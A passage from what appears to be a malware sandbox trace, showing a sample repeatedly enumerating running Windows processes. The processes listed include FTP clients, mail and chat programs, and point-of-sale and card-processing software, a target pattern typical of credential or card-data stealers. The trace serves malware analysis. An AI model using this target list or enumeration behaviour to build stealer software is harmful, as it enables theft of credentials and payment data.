th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0216.150] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0216.152] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0216.154] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0216.157] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0216.159] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0216.161] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0216.163] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0216.166] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0216.205] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0216.209] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0216.212] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0216.214] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0216.252] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0216.255] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0216.258] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0216.261] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0216.357] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0216.359] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0216.361] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0216.364] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0216.365] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0216.367] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0216.369] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0216.371] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0216.373] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0216.379] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0216.381] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0216.383] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0216.385] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0216.388] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0216.391] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0216.393] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0216.395] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0216.397] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0216.399] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0216.401] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0216.403] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0216.405] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0216.406] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0216.408] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0216.410] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0216.412] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0216.414] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.416] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0216.417] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0216.419] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0216.421] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0216.422] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0216.425] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0216.427] CloseHandle (hObject=0x11c8) returned 1 [0216.427] Sleep (dwMilliseconds=0x64) [0216.429] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0216.442] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.444] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0216.484] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0216.485] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0216.487] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0216.489] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0216.491] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0216.492] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0216.494] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0216.496] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.497] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.499] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0216.501] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.502] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.504] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.506] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.508] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.509] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.511] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.513] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0216.515] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0216.516] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0216.518] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.520] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0216.522] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0216.524] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0216.525] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0216.527] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0216.530] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0216.532] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0216.534] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.535] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0216.537] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, 